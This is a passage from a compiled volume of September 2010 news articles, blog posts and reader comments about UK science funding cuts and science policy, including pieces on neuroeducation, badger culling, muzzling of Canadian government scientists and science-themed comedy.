You are on page 1of 150

TABLE OF CONTENTS

2010/09/14 In Verba RS blog: Education: what’s the brain got to do with it? .................... 362
2010/09/14 In Verba RS blog: Science in the Sun............................................................... 363
2010/09/15 Nature World View: Save British science, again ............................................. 364
2010/09/15 Guardian Science Blog Martin: Humour: it's genetic! Bringing science into
comedy .............................................................................................................................. 366
2010/09/15 S word: Don't let Britain's politicians ruin science .......................................... 369
2010/09/15 the Great Beyond: The shaky science of badger culling, redux ....................... 371
2010/09/15 the Great Beyond: Canadian government muzzling scientists - ...................... 372
2010/09/15 Exquisite Life: Climate targets will not be met without research strategy ...... 373
2010/09/16 Times HE: Cable's excellent research rationing scheme is under attack from all
sides................................................................................................................................... 373
2010/09/16 Times HE Rankings: World University Rankings 2010-2011 ............................ 375
2010/09/16 UUK: Latest world university rankings should act as a “wake-up call” ............ 376
2010/09/16 RUSSELL GROUP: Russell Group comments on THE world university league
tables ................................................................................................................................. 377
2010/09/16 Times HE: 'Reality check': the UK clings on to second place in global league.. 378
2010/09/16 The Economist: Grey-sky thinking .................................................................. 385
2010/09/16 Early day motion 767: .................................................................................... 387
2010/09/16 Guardian Science Blog Martin: Women in science blogging ........................... 387
2010/09/16 the Great Beyond: Shake-up in world’s top-ranking universities .................... 391
2010/09/16 the Great Beyond: Fusion funding slammed in European Parliament -
September 16, 2010 .......................................................................................................... 392
2010/09/16 Guardian Science Blog Martin: Kenyan government warns public of Miracle
Mineral Solutions danger ................................................................................................... 394
2010/09/16 Exquisite Life: The Faustian Pact: Hawking's Greedy Reductionism ................ 397
2010/09/17 Alice Bell Blog: Miracle Mineral Solution ........................................................ 399
2010/09/17 Guardian Science Blog: David Willetts ducks questions about the future of
science funding .................................................................................................................. 400
2010/09/18 Guardian CiF Evan: A secularist manifesto ..................................................... 405
2010/09/18 Guardian Letters: University funding – keep it simple .................................... 407
2010/09/20 Guardian Science Blog Martin: Steve Jobs was mean to you? Boo hoo .......... 408
2010/09/20 Exquisite Life: Why is Vince Cable relying on an out of touch David Sainsbury?
........................................................................................................................................... 410
2010/09/20 Guardian Science Blog Martin: One for all or all for one? ............................... 411
2010/09/21 Exquisite Life: What Nick Clegg just told us about student fees ..................... 414
2010/09/21 Science funding cuts will devastate economy, warns Brian Cox ..................... 415
2010/09/21 Telegraph: Science funding cuts: UK scientists struggle to 'do more with less'
........................................................................................................................................... 418
2010/09/21 Research Fortnight: Mission impossible ......................................................... 420
2010/09/21 FT: University teaching funds in line of fire .................................................... 422
2010/09/21 Guardian Science Blog Martin: Twitter hack: The spread of an artificial life form
........................................................................................................................................... 423
2010/09/21 Guardian CiF: A chance for a scientific drugs policy........................................ 426
2010/09/22 Alice Bell Blog: The discipline of science communication ............................... 427
2010/09/22 the Great Beyond: European Commission withholds research on biofuel policy
........................................................................................................................................... 429
2010/09/22 S word: UK scientists plan petitions and protests against cuts ....................... 430
2010/09/22 In Verba RS blog: Democratic science with Dr Cable ...................................... 431
2010/09/22 Guardian Science Blog Martin: Cocaine detectors for parents are a terrible idea
........................................................................................................................................... 432
360 | P a g e
VOLUME 10
2010/09/23 CASE: (see end of PDF) ................................................................................... 436
2010/09/23 Lord Kreb: (see end of PDF) ............................................................................ 438
2010/09/23 HoL ST Committee: Committee writes to Minister about research funding cuts
and the risk of the UK losing its “best brains” in science research ..................................... 443
2010/09/23 Times HE: Cable: 'Something has to be cut - tell me what the priorities are'.. 444
2010/09/23 Royal Society of Chemical Sciences: UK faces scientific exodus ...................... 445
2010/09/23 BBC Science News: David Willetts warned over science cuts by universities .. 446
2010/09/23 CASE: Scientists Rally in the Face of Cuts ........................................................ 448
2010/09/23 Guardian Science: Cuts threaten pioneering stem cell work, say scientists .... 450
2010/09/23 the Great Beyond: Imminent science cuts leading to UK 'brain drain' ............ 452
2010/09/23 Guardian Science: Science funding cuts 'could lead to brain drain' ................ 453
2010/09/23 Exquisite Life: How to read Vince Cable's speech to the Lib Dem conference in
Liverpool ............................................................................................................................ 455
2010/09/24 Exquisite Life: Nesta chief to quit as quango's fate hangs in the balance ....... 460
2010/09/24 Reuters: British scientists say cuts will cripple research ................................. 462
2010/09/24 Science Insider: U.K. Research Leaders Make Final Stand Against Science Cuts
........................................................................................................................................... 463
2010/09/24 the Great Beyond: New intelligent design centre launches in Britain ............. 464
2010/09/24 S word: 20 per cent cuts to British science means 'game over' ...................... 465
2010/09/24 the Great Beyond: Game over for British science? ......................................... 467
2010/09/24 the Great Beyond: Can science help Millennium Development Goals succeed?
........................................................................................................................................... 468
2010/09/24 Guardian Science: Cuts to science funding will 'destroy UK's potential' as world
leader ................................................................................................................................ 470
2010/09/24 Guardian Science Blog Martin: This is a news website article about a scientific
paper ................................................................................................................................. 473
2010/09/24 Guardian Science Blog Martin: Asbestos saga proves our feeble press watchdog
has no bark and no bite ..................................................................................................... 475
2010/09/25 The Independent: University heads warn of a new scientific 'brain drain' ..... 478
2010/09/27 Exquisite Life: It could be Game Over for UK science within days................... 478
2010/09/27 S word: UK science: history tells us cuts would be a mistake ......................... 479
2010/09/27 CASE: CaSE Welcomes Ed Miliband as New Labour Leader ............................ 480
2010/09/27 Alice Bell Blog: My favourite scientist............................................................. 481
2010/09/27 Guardian Science Blog Evan: Ed Miliband's science challenge ........................ 482
2010/09/28 Exquisite Life: Welcome to spin city ............................................................... 485
2010/09/28 the Great Beyond:Fresh broadsides against UK science cuts - September 28,
2010 ................................................................................................................................... 488
2010/09/28 CASE: ‘Brain Drain’ Threat as Government Holds Firm on Immigration Cap ... 489
2010/09/29 CASE: Science Is Vital Coalition ....................................................................... 491
2010/09/29 Research Councils UK: response about RCUK SSC Ltd..................................... 491
2010/09/29 the Great Beyond:Visualising UK science cuts ................................................ 492
2010/09/29 Alice Bell Blog: The known unknowns ............................................................ 493
2010/09/29 Exquisite Life: The effects of cutting QR in England by 15 per cent ................ 495
2010/09/30 Guardian Science: Britain faces brain drain as cuts force top scientists to leave
country .............................................................................................................................. 498
2010/09/30 In Verba RS blog: Royal Society at the Labour Party conference .................... 500
2010/09/30 CASE: The UKCMRI Makes its Case ................................................................. 501

361 | P a g e
VOLUME 10
2010/09/14 IN VERBA RS BLOG: EDUCATION:
WHAT‟S THE BRAIN GOT TO DO WITH IT?
By Jessica Bland

FROM TESSA GARDNER IN THE ROYAL SOCIETY SCIENCE POLICY CENTRE

Teachers, neuroscientists, and policy officials – they might sound like they have nothing in common. But
whether more familiar with the classroom, laboratory or Whitehall, over 100 of these seemingly disparate
professionals gathered together last Tuesday as part of the Royal Society’s Brain Waves study’s module on
neuroscience, education, and lifelong learning.Once synonymous with lobotomies and other more obscure
brain surgeries, neuroscience is now increasingly recognised for its relevance and potential applications to
a number of public policy areas including education.

The word “brainy” has long been used as an informal way to describe someone considered to be intelligent
or knowledgeable – so if the brain is recognised as fundamental to the learning process, why don’t the
teaching community know more about how it works? Can information about the brain optimise teaching
outcomes? Should education policy be taking this into account? Last week’s discussion was a starting point
for answering these questions and for exploring the implications of future developments in neuroscience.

The event, held jointly with The Wellcome Trust, began with an enthusiastic welcome by Professor Uta
Frith FRS, chair of the Royal Society’s Brain Waves working group on neuroscience, education, and lifelong
learning. Short talks were given by former Education Secretary Baroness Estelle Morris, who spoke about
the importance of evidence in education policy and Professor Barbara Sahakian from Cambridge
University, who gave an introduction to neuroeducation. David Willetts, Minister for Universities and
Science spoke to the group about the importance of lifelong learning.

The central activity of the event was a series of ten simultaneous roundtable discussions, with the dialogue
logged live via Twitter using the hashtag #neuroed.

Recurring themes included:

- Challenges of translating research evidence into practical outcomes

- improving mechanisms for improving collaboration between teachers and scientists

- accessibility of relevant and robust information from reputable sources.

362 | P a g e
VOLUME 10
These themes provided substantial fodder for an open floor discussion, which was brilliantly facilitated
byDaniel Glaser from the Wellcome Trust.

Although attendees acknowledged the challenges still to be overcome, the atmosphere was
overwhelmingly positive. There was optimism about the potential for brain imaging to contribute to early
intervention and a real willing from teachers to trial different approaches in the classroom and beyond.
There was passion for interdisciplinary collaboration and co-operation, an enthusiasm for neuroscience to
revitalise new ways of thinking about learning and a genuine readiness to begin building bridges across the
yawning fissure between neuroscience, education, and policy.

Feedback from this event will provide invaluable input for an report on neuroscience, education, and
lifelong learning, due to be launched by the Royal Society’s Science Policy Centre in early 2011.

If you want to know more, the meeting handbook can be downloaded here. One of the work group
members for this study, Professor Dorothy Bishop, blogs regularly on these issues.

The Centre for Educational Neuroscience held a conference on similar themes in June, which works as
anexcellent web resource.

2010/09/14 IN VERBA RS BLOG: SCIENCE IN


THE SUN
By Marie Rumsby

Brian Cox has today used an article in The Sun to warn against cuts to the science budget. In a rare sighting
of science policy in the UK’s top tabloid, Professor Cox explains: “We are the most efficient scientific nation
in the world, generating research at a level second only to the US while investing less than most other
developed nations…. Is it any wonder half our national wealth rests on this great British success story?”

“A UK government report in 2007 called this strategy the Race To The Top. To race to the bottom – trying
to pay UK workers less to compete with India or Brazil, is not an option. Britain is currently at the top.”

Professor Cox will be speaking on this topic at our Conservative party conference fringe event (in
partnership with the 1994 Group), alongside the Rt Hon David Willetts MP, Minister for Universities and
Science, Sir Martin Taylor FRS, Chair of The Scientific Century, Professor Paul Wellings, Chair of the 1994
Group and Vice-Chancellor, Lancaster University, Richard Lambert, Director General, CBI, and Professor
Tim Besley FBA, Kuwait Professor of Economics and Political Science at the London School of Economics.

This event is taking place on Tuesday 5 October, from 19:30-21:00 in Hall 8B, The ICC, Birmingham (inside
the secure zone). We hope you can join us for what is likely to be a lively discussion.

Please contact us here if you want more details about the event.

363 | P a g e
VOLUME 10
2010/09/15 NATURE WORLD VIEW: SAVE
BRITISH SCIENCE, AGAIN

The UK government is about to reveal a research spending plan that is too conservative for purpose, warns
Colin Macilwain.

Once upon a time, there was an organization called Save British Science. This grass-roots outfit, established
in 1986, campaigned energetically against the dire conditions then prevalent in British universities.

And lo, British science was saved. Its saviour-in-chief was Gordon Brown, who, as Chancellor of the
Exchequer for the decade from 1997, doubled funding for university-based research. This so restored
academic morale that, in 2005, Save British Science changed its name, to the Campaign for Science and
Engineering in the UK (CASE).

Imran Khan became director of CASE in May, just as Brown was voted out of office — taking with him the
already-slim prospects that science funding could be protected from impending UK public-spending cuts.
Khan soon became fed up with hearing the same joke: "You changing your name back to Save British
Science, then?"

The omens for British science are not good. The economy and the pound are in the doldrums and the new
Conservative-led coalition government is threatening deep spending cuts in its three-year Comprehensive
Spending Review (CSR) due out on 20 October.

But the universities are in much better shape now than they were 24 years ago, in good physical condition
and attracting more international talent than anywhere outside the United States. And even if next year is
tough, the government's determination to cut overall spending may not last. Organizations such as CASE
still have everything to play for: with its financial sector weakened, Britain faces chronic competitiveness
challenges which science and technology could help to address.

Reading the runes

The threat of belt-tightening has, however, already fuelled squabbling between scientists and engineers,
many of whom feel that the Brown approach benefitted university research at the expense of applied
work. The fissure went public in July, when the Royal Academy of Engineering advised the government to
reduce UK spending on particle physics in general and on CERN — Europe's particle-physics laboratory near
Geneva, Switzerland — in particular.

The magnitude of the threatened cuts has also grown. In the spring, talk of a 10% reduction in public
spending was commonplace; since the election, 25% over 4 years has been the number in vogue. It's a
scary number, for researchers like everyone else in the public sector. It is also unprecedented and, in a
democracy, perhaps unrealistic: too many livelihoods are at stake. Public spending, for research and

364 | P a g e
VOLUME 10
development (R&D) and most other things, will indeed fall by 4–5% next year — what happens thereafter
is anyone's guess.

The CSR will identify what the government would like to do with science. Various scenarios are possible: in
the least likely, the government could ring-fence science for three years. It could cut support for
technology through the Labour-created Technology Strategy Board, and protect old-fashioned,
investigator-led grants at the research councils. Or it could leave the science budget to sink in the
dysfunctional cauldron that is the Department for Business, Innovation and Skills, opening up all disciplines
to cuts.

CASE and other science lobbyists have been hunting for clues in the public statements of two ministers,
David Willetts and Vince Cable. Willetts, the Conservative minister for science and the universities, is an
economist who instinctively favours the concentration of resources on intellectually rigorous work at
places like his alma mater, the University of Oxford.

Willetts has been citing a paper1 by Jonathan Haskel of Imperial College London and Treasury official Gavin
Wallis. It says that support for the research councils correlates with improved national productivity over
the past 20 years, whereas other types of research investment — including government and industrial R&D
— do not. The paper says nothing about causation; its observation that one trend has followed another
after a suspiciously short three-year gap is a slim basis indeed for setting research policy.

“What will determine science funding is the philosophy of the central ruling clique.”

Willetts' Liberal Democrat boss, business secretary Vince Cable, was the most popular politician in the
country before the election because of his readiness to publicly confront the great vampire squid that is
the City of London. Last week, Cable was sharply criticized over remarks in which he seemed resigned to
hefty cuts in research funding. But what Willetts or Cable say or think is less important than people
imagine. In the British system of government, it is the Treasury that counts. What will determine science
funding is the philosophy of the central ruling clique: in this case, chancellor George Osborne and Prime
Minister David Cameron.

Power players

Last autumn, Osborne expressed some interest in reviving the United Kingdom's productive sectors. This
hinted at the kind of modernization agenda that has consumed British politicians for half a century, and to
which Gordon Brown, in his early career, was fully committed. When Brown splurged on university science,
he hoped it would underpin sectors of British industry that were already competitive — such as
pharmaceuticals and aerospace — and spur new ones such as biotechnology. The strategy was always a
long-term one, and the jury is still out on its success.

Now Osborne is in the driving seat, and there are two paths available to him. The modernization one, as
pursued by Brown (and by Barack Obama), holds that public investment in science and technology creates
innovation, and hence growth. Then there's the anti-regulation, non-interventionist, pro-City approach —
so fashionable worldwide before 2008 — which holds that government should concentrate on lower taxes,
and leave business to get on with R&D investment. It looks likely that Osborne will take the latter path.

There's no political mileage in attacking science and there will be no great massacre of projects or
programmes in the CSR. However, Osborne's ideology points to curtailment of overall spending, with the
deepest cuts falling on innovative multidisciplinary programmes that Labour favoured, in areas such as
energy and the environment, and on things that could be left to the market, such as knowledge transfer. In

365 | P a g e
VOLUME 10
this way, a Conservative-led government will pursue a science policy that is too conservative to meet
Britain's glaring needs.

2010/09/15 GUARDIAN SCIENCE BLOG


MARTIN: HUMOUR: IT'S GENETIC! BRINGING
SCIENCE INTO COMEDY

One comedian's brave attempts to put science into stand up. (Guest post by Dean Burnett)

Alice Bell recently did a very insightful article about the pros and cons of using humour in science, and
referenced its growing popularity in online articles and blogs. Whether a cause or effect, the success of
Robin Ince and colleagues reveals that combining science and comedy is becomingincreasingly popular
practice.

But how does one go about introducing science into comedy, rather than the other way round? And what
do non-London-based scientists do if they want some live comedy aimed at them? If they're desperate
enough to trawl the internet for hours, they can contact me. As a recently qualified doctor of neuroscience
who's also been a stand-up comedian for over five years, I've become something of a go-to guy for science
conferences wanting a scientific comedy routine to round things off.

As someone experienced in both science and comedy but currently not employed by either, I'm always
glad of the work. However, so rare is my background that I am often asked to make jokes about and poke
fun at areas of science that I know little about, in front of people who are experts in it.

Preparing a routine about a field of study that isn't your own is fraught with unique challenges. Case in
point: I was recently asked to perform at a conference of geneticists, meaning I had to do a 15 minute set
about genetics. Although my studies crossed into genetics quite frequently, I've always found it very
confusing. So confusing, in fact, that the original request for me to do the conference confused me.

I had appeared at another conference several months before, and afterwards I was approached by a
female professor who asked: "Do you have any genetics material?" This isn't a typical post-gig question, so
I wasn't expecting it. I genuinely thought she asked, "Do you have any genetic material?" This alarmed me
somewhat; I'm not at the level where I've been asked for my autograph yet, so for an unknown person to
ask for a sample of my DNA for whatever reason was unprecedented. And terrifying. However, as a
scientist, I felt compelled to be accurate. I told her yes, I do have genetic material (14.5 stone of it at last
count, more if you include the leather in my belt).

"Would you come and give us some at a conference in a few months?" was the even more unnerving
follow-up question. I was struck with visions of me repeatedly swabbing myself and passing them. An
unpleasant prospect, but out of all the methods I could think of to "donate" genetic material it was the
most socially acceptable.
366 | P a g e
VOLUME 10
Luckily, at this point I realised what she was asking, so agreed to perform at the conference, and prepare
some "genetics and general science jokes". Trying to write jokes about science is, to me at least, a difficult
task. Jokes and science are logically opposite in their purpose, so my efforts to combine them, even at a
basic and familiar level, gave questionable results. For example:

 "Knock, knock" "Who's there?" "A disembodied kidney" "You taking the piss?" "Not anymore"
 "Knock, knock" "Who's there?" "A logical paradox" "I'll be with you two minutes ago"
 "Doctor Doctor, I feel like a pair of curtains!" "Really? That's a previously unheard of psychological
disorder, would you mind if I wrote a paper about this?"
 Two scientists walk into a bar. The first one hits his head. The second one does too, in order to
verify his results.
 A horse walks into a bar, and the barman says, "Why the long face?" "Evolutionary selective
pressures," replies the horse

As if two different species, the product of combining science and jokes is unnatural, and strangely sterile. I
also refrained from using the obvious "what do you get if you cross a sheep with a kangaroo" joke in front
of a gang of geneticists, because a) They may take the question literally, and b) It might give them ideas.

Genetics jokes are thin on the ground. Someone told me to take what jokes I have and recombine them,
doubling my total. My friend Dave told me to just think of one joke and tell it over and over again,
because geneticists should love "GAG repeats". I didn't understand the reference myself, though, but was
assured it was funny.

Genetics jokes rarely feature in the mainstream. This may be because it's not a very well understood
subject outside the lab; ask a typical person what a retrovirus is and they'll probably think of influenza in
the 70s, or maybe some long-tailed protein wearing flairs and a tank-top. This ignorance may be due in
part to the fact that for quite some time, as far as the media was concerned, genetics was the bad-boy of
science; unleashing GM crops into the wild one minute, attempting to crack the human genome the
next (in response to the latter, I'm sure I once heard someone say: "We should stop them! We're still using
it!"). Then the particle physicists tried to rip a hole in the universe and took the heat off.

But the paranoia surrounding genetics still subsists, revealed recently by thefurore surrounding cloned
cows. People are still wary of cloning, perhaps understandably. My co-comic Dan Thomas mentioned
someone he knows stating that they were scared of cloning, to which he replied: "That makes two of us,"
which didn't help matters.

The cloned cow "scandal" amused me greatly though. Firstly, the cows in question weren't clones, but the
offspring of clones. If we were to suffer ill-effects from eating animals that were the combined DNA of two
separate creatures, I'm sure we would have found out by now. And as far as I know, no beef-eating
customer has complained of bizarre side effects, or even noticed. Admittedly, it would take an extremely
sensitive palette to determine if a burger tasted "suspiciously similar" to one consumed the previous week.

There are several questions I would like to raise with the scaremongering papers regarding their coverage
of this story.

How exactly do pictures of "some cows" indicate they are derived from clone stock? Cows look fairly
similar to each other at the best of times, and if anything the whole point of cloning means this aspect is
emphasised

How long before you find an individual who eats his body-weight in beef every week and suffers ill health,
and tries to blame his condition on cloned meat? I know of several candidates already if you just want to
get it over with

367 | P a g e
VOLUME 10
Do you know how potatoes reproduce? A lot more of them are consumed than cows, are they exempt
from risk for some reason? Or do you not eat vegetables yourselves, feeling it too similar to cannibalism for
comfort?

With publicity like this, is it any wonder that genetics gets a bad rap? I've tried to redress the balance
where I can. Every time I'm in a supermarket with an organic food section, I always ask where the GM food
section is. I accidentally bought some organic ketchup once. Highly processed sugar-rich bright red
condiment: just as nature intended.

Flippancy aside, the field of genetics is often much maligned, quite unfairly in my opinion. So, I felt it only
fair to try and bring some levity to the subject. Despite my best efforts though, I couldn't come up with
much, so after being announced as the final "speaker" of the conference, following a two hour discussion
about how the impending budget cuts will impact on everyone's research (in fairness, I've had worse
introductions), I explained to them how difficult it was to write a routine about genetics, raising the same
issues as I've covered in this article.

Much to my surprise, they seemed to really enjoy it. This was probably due to the novelty factor, but it
goes to show that, despite the stereotypical image, scientists enjoy laughing about themselves and their
work as much as anyone else.

I don't know who it was, but a comedian I know once said: "Comedy is in the genes." Maybe so, but you
have to dig damn hard to find it.

Dean Burnett is a doctor of neuroscience, co-founder of Skeptics in the Pub: Cardiff, organiser of numerous
science and academic-themed comedy nights and regularly writes satirical and/or humorous pieces about
scientific and sceptical issues at his blog, Science Digestive.
Comments in chronological order (Total 7 comments)
DomC 15 September 2010 5:00PM
I did material about the cloned cows the day after it hit the headlines, bit of anthropomorphism and its a
winner.
Noodlemaz 15 September 2010 5:56PM
Ha! GAG repeats. Lol.
Geneticist by training; might have to start thinking of jokes myself.
Though my favourite by far, even if it is more of a nerds' chat-up line (can't take credit for its creation, mind)
"If I were an enzyme I'd be DNA helicase so I could unzip your jeans"
Badumtish.
alicerosebell 15 September 2010 6:24PM
"As if two different species, the product of combining science and jokes is unnatural, and strangely sterile"
Did some stuff on that in my PhD. A key point. Discussed in these books (admittedly rare and probably not
worth reading unless you are huge sociology geek) :
* Mulkay, M. (1988) On Humour (Cambridge: Polity).
* Davies, C, (1998) Jokes and their Relation to Society (Berlin & New York: Mouton de Gruyter).
One of the points Davies makes that because scientists can be so serious we laugh at them - they are *so*
serious the response is to laugh (think "ha ha look at the geek") a response to extreme rationality is to play
irrational games with it, to make humour. He also notes that specialist professionals such as scientists deal with
life or death issues, so produce their own humour to deal with it - he has some nice examples of astronaut and
surgeon jokes about "stupid people" which he argues they do to cope with the stress of such serious situations.
Mulkay is really interesting on the clash of seriousness and humour.
Less esoteric - if you want to bring levity to situation you feel is maligned, do you really feel that this is the
way to go? For example, your joke about organic ketchup, funny for those in the know, but as an outreach
tool...? I worry you end up with a load of people donning Frankenfood masks at one end whilst another sit
pointing and laughing at those silly anti-GMers. I mean it'll work very well as a way for geneticists at a
conference to sit together and deal with what they feel is the bullying of others or irrationality of it all, etc,
but, again: outreach...?

368 | P a g e
VOLUME 10
To reiterate the point in my blogpost, that's not to be against humour, or the worth of jokes made within
closed communities, just that jokes work largely from the acknowledment of shared knowledge.
garwboy 15 September 2010 7:47PM
Alice
Excellent point, but I feel it is summarised better by the following
"Free comedy tip, kid; the Pie in the face gag's only funny if the saps got dignity" [Krusty the Clown, The
SImpsons, episode titled "Brother from another series"]
As this is your area it's obviously something you take very seriously, but I base my statements on my own
experiences of performing to the general public. The adopting of a massively exaggerated contrary position for
comic effect is a very good way of making a point.
And although accurate, the comment about outreach I feel is misplaced. The point of this article is about how
tricky it can be to tailor comedy to hard core scientists. It's basically 'inreach', not outreach. I wouldn't
expect Comedians on the Def Comedy Jam circuit to make allowances for potential viewers in the Cotswolds, so
in a similar vein I wouldn't perform at a science conference with a routine which is aimed at the general non-
scientific public.
Time and place, and all that. Context in comedy is a big deciding factor on what's said and done.
alicerosebell 15 September 2010 9:24PM
@garwboy
Ha! Like "inreach" and very much like Krusty quote too. If it wasn't that I find academics quoting Simpsons,
xkcd or the Far Side in power point presentations excruciatingly painful, I'd use it next time I give that paper
:)
Sorry didn't mean to mis-apply outreach point, I got the impression that was a small part of what you felt was
part of whatever problem was perceived. I would also add that actions of inreach when expressed outside of,
for example, academic conferences or SitP meetings (e.g. supermarkets) have impact on outreach done by
others. If you don't give two figs about what the outside world thinks of science, fine, otherwise well... context
(and awareness of the looseness of its perimeters).
I had some contact with some climate science cartoonists over the last few years, maybe something to be
learnt from them/ that you could teach them?
Think you are totally right about the novelty thing, and make interesting points around btw, don't know if I
made that clear enough in early comment.
USlibrarylady 16 September 2010 1:46AM
Who, hilarious! Science not funny - then what about xkcd.com?
Can't wait to repete the logical paradox one.
Wallpaper 16 September 2010 9:46AM
Wahey!!! Go Deano!!! I bloody loves you, I do! JB

2010/09/15 S WORD: DON'T LET BRITAIN'S


POLITICIANS RUIN SCIENCE

Research in the UK is under threat from people who do not understand the point of science, says Robert
M. May

What is the point of science? Most researchers would probably say it is to increase our understanding of
the world, though they would also be the first to point to the amazing extent to which life and health have
been enriched by their curiosity. Understandably, many politicians have a more cold-eyed, practical view:
research is done to make money.

369 | P a g e
VOLUME 10
Such differing views create tensions between governments and scientists, tensions that have been thrown
into sharp relief in the past week. Researchers in the UK are taking up their pitchforks to defend science
from those who only see the short-term cost of science, not the long-term value.

Their anger is prompted by the way the British government - a Conservative-Liberal Democrat coalition - is
trying to rebalance the economy in the wake of the credit crunch and some of the policies of the previous
Labour administration. The £6 billion annual research budget is now being scrutinised, and huge cuts are
proposed.

Business secretary Vince Cable made his first speech on science last week. Much of what he said made
sense. He talked of the need for excellence in research, and for the UK to cash in on the fruits of that
research. He appreciates that increases in productivity have come as much from new knowledge as from
capital and labour, and that we know this thanks to advances in economic research.

But Cable's crude advocacy of "more commercially related research" showed little awareness of the
complex interplay between basic research - new ideas - and their translation into products.

Then he made what could best be explained as an inept attempt to manage expectations. He said that the
previous government had planned cuts of up to 25 per cent, implying that his government was doing no
worse, and added that studies of UK universities' research activity found that 54 per cent of their work was
world class. However, in a later interview, Cable reversed this statement, saying that around 45 per cent of
research was not of an excellent standard. This quickly became a media story about taxpayers funding
"mediocre" research and was spun as a justification for cuts.

Cable is not just wrong in his sentiment. His figures are dangerously wrong, focusing on just one funding
stream that gives more than 90 per cent of its money to research already deemed to be world-leading. At
the time, I condemned what he said as just plain stupid.

British research has delivered more bang per buck than any other nation. With 1 per cent of the world's
population, the UK produces 8 per cent of the world's scientific publications, receives 12 per cent of
citations, and 14 per cent of citations with the highest impact. In terms of the number of papers and
citations relative to national wealth, the UK is ranked first in the G8.

Science funding has only just returned to the level it was at in 1986 and there is, if anything, a strong case
to increase it further: there is more excellent research than the government is able to fund.

Basic research is not a cost but an investment, and I am not alone in this way of thinking. The US has
announced a $21 billion boost for science as part of a stimulus package, while the British government
seems to doubt the UK needs one. France - to the tune of €35 billion - Germany and China are also backing
science.

Any informed reading of the evidence shows British research offers a unique competitive advantage, yet
the government has come to the perverse conclusion that it should be cut by up to 25 per cent. That could
mean withdrawal from whole areas of research, and a lost generation of scientists and engineers.

What the UK needs to do is work out how it can reap the benefits of research rather than China or any
other rival economy with better policies and foresight to exploit ideas. The UK needs to reform regulations
and banking to cultivate a more entrepreneurial culture, not diminish the fountainhead of innovation.

The current thinking is not just wrong, it's mad. That is why I count myself among the angry mob that is
prepared to defend science to the utmost from muddled political thinking.

370 | P a g e
VOLUME 10
Robert M. May holds a professorship jointly at the University of Oxford and Imperial College London. He
was president of the Royal Society between 2000 and 2005 and chief scientific adviser to the UK
government from 1995 to 2000

2010/09/15 THE GREAT BEYOND: THE SHAKY


SCIENCE OF BADGER CULLING, REDUX

Badger culling is back on the agenda in the UK as the country attempts to


control bovine tuberculosis, despite evidence that killing the stripy beasts does little to prevent spread of
the disease.

Jim Paice, the agriculture minister, today announced plans to permit farmers in England to cull badgers,
something farming groups have long pleaded for.

In a statement Paice claimed that “the science is clear: there is no doubt that badgers are a significant
reservoir for the disease and without taking action to control the disease in them, it will continue to
spread”.

But one leading expert has already come out against the plans. Rosie Woodroffe, a former member of the
previous government’s now defunct Independent Scientific Group (ISG) on this issue, told Nature, “The
science is pretty clear, but I think it’s not in the direction the minister claims.”

She says there is slightly more evidence now from the government-funded Randomised Badger Culling Trial
(RBCT) that culling is beneficial than there was when the ISG came out strongly against it as an option in
2007. But that comes with the “massive caveat” that culling in the RBCT was done by highly trained people
in a very coordinated fashion with, for example, all culling in an area done on the same night.

“That’s really different from what the government is proposing,” says Woodroffe, a disease ecologist at the
Institute of Zoology in London.

Under the new proposals – which have gone out for consultation – groups of farmers that can muster an
area of at least 150 square kilometres with ‘high and persistent’ levels of TB can apply to cull and/or
vaccinate badgers in their area. They will be asked to explain “how they intend to minimise the negative
effect in the surrounding area identified by the Randomised Bader Culling Trial”, which should elicit some
interesting answers.

371 | P a g e
VOLUME 10
Culling badgers can encourage them to move around and further spread TB if efforts are not coordinated
and done to a high standard. The difficulties of coordination and the possibility that farmers could drop out
in the face of scale of the culling task mean that a patchy system could arise, leading to worse bovine TB,
warns Woodroffe.

Today’s announcement has been welcomed by the National Farmers Union. But farmers may also not be
entirely happy with being asked to shoulder the financial burden of culling and vaccinating. The
government’s own analysis indicates that the costs to farmers in the cull area will be greater than the
financial benefits they gain from avoiding bovine TB.

Image: a box of badgers, photo by janetmck via Flickr under creative commons.

Posted by Daniel Cressey

2010/09/15 THE GREAT BEYOND: CANADIAN


GOVERNMENT MUZZLING SCIENTISTS -
Posted on behalf of Nicola Jones

A news story in the Ottawa Citizen this week raises the ugly spectre of government “muzzling” of scientists
in Canada – a problem that received much attention in the United States under George Bush’s presidency
(see this Nature editorial from 2006). The story adds to a growing feeling of discontent amongst Canadian
scientists about federal policies regarding science (see this Nature editorial spurred by the government’s
decision to scrap part of the country’s census).

Scott Dallimore, a geoscientist working for National Resources Canada (NRCan) in Sidney British Columbia,
co-authored a paper in Nature this April about a 13,000-year-old flood. Canadian reporter Margaret Munro
found it surprisingly difficult to get an interview with Dallimore, prompting her to investigate. This turned
up “new media interview procedures that require pre-approval of certain types of interview requests by
the minister’s office”, she writes this week. NRCan says they don’t have any new policies – just the same,
years-old old rule that researchers consult with the minister’s office before interviews (which is not
unusual for government-funded scientists, in Canada or elsewhere).

But Munro shows that some scientists certainly felt the process had become more obstructive. The upshot
was a bureaucratic paper trail and delay that prevented Dallimore – who has had frequent contact with the
media in the past – from speaking to journalists in time to meet their deadlines.

The story still got told, using other sources (see the Nature News story, for example). But previous articles
in the Canadian press (Ottawa Citizen, Calgary Herald, The Tyee) have highlighted similar troubles for
Canadian federal scientists. Munro says it is becoming increasingly difficult to get interviews. “It’s definitely
spreading,” she says. Scientists worry things might become a more problematic for research with tight links
to climate change or other politically sensitive issues. But access isn’t always difficult. NRCan gave this
reporter permission to speak to Dallimore (about his scientific work) within an hour of my request.

Posted by Mark Peplow

372 | P a g e
VOLUME 10
2010/09/15 EXQUISITE LIFE: CLIMATE
TARGETS WILL NOT BE MET WITHOUT RESEARCH
STRATEGY
The UK lacks a research strategy for meeting the targets set out in the 2008 Climate Change Act, according
to a new report from Research Fortnight.

The Act requires an 80 per cent cut in CO2 emissions from 1990 levels to be made before 2050. But the
report, which looked at research programmes across government, found there is no coordinated strategy
on how to gain the knowledge needed to meet the requirements.

The lack of a strategy leaves the government open to duplication of research and missing out on the
studies needed to meet targets, the report suggests.

Financing Climate Research: A guide for UK researchers and policymakers, published on 15 September, was
compiled by a team of writers and researchers led by the publication’s comment and analysis editor John
Dwyer.

The report finds there is no agreed figure for how much the UK's is spending on climate change research or
where. Priorities of the government’s 10-year, £1 billion flagship climate research programme, Living With
Environmental Change, do not align with the Climate Act, it adds.

The report also highlights particular fields, such as questions around climate ‘tipping points’ and
forecasting, where further study should be commissioned. Capacity for social and behavioural research, as
well as a general capacity to commission and process research, is lacking from the Department for Energy
and Climate Change, it adds.

The report is designed for UK-based individuals and organisations applying for climate change research
funds, and also for those who provide funding and includes information on UK funding sources compared
